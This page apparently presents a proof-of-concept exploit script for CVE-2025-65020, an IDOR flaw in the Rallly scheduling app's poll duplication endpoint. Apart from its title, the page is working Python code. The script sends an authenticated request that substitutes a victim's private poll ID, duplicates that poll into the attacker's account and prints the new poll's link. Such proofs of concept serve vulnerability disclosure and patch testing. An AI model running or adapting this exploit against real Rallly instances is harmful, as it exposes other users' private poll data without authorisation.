CVE-2025-65020 Rallly投票复制IDOR漏洞

import requests import json # CVE-2025-65020 PoC - Rallly IDOR Vulnerability # Target: Rallly < 4.5.4 # Endpoint: /api/trpc/polls.duplicate TARGET_URL = "https://vulnerable-rallly-instance.com" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_POLL_ID = "victim_private_poll_id" # ID of poll to duplicate def exploit_idor(): """ Exploit IDOR vulnerability in Rallly poll duplication endpoint. This PoC demonstrates how an authenticated attacker can duplicate any poll by modifying the pollId parameter. """ headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {ATTACKER_TOKEN}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Malicious request with victim poll ID payload = { 'json': { '0': { 'json': { 'pollId': TARGET_POLL_ID # Attacker-controlled poll ID } } } } endpoint = f"{TARGET_URL}/api/trpc/polls.duplicate" try: response = requests.post(endpoint, headers=headers, json=payload) if response.status_code == 200: result = response.json() if 'result' in result: new_poll_id = result['result']['data']['json']['id'] print(f"[+] SUCCESS: Poll duplicated successfully!") print(f"[+] New Poll ID: {new_poll_id}") print(f"[+] Access new poll at: {TARGET_URL}/poll/{new_poll_id}") return new_poll_id elif response.status_code == 401: print("[-] Authentication failed") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"[-] Error: {str(e)}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-65020 - Rallly IDOR PoC") print("=" * 60) exploit_idor()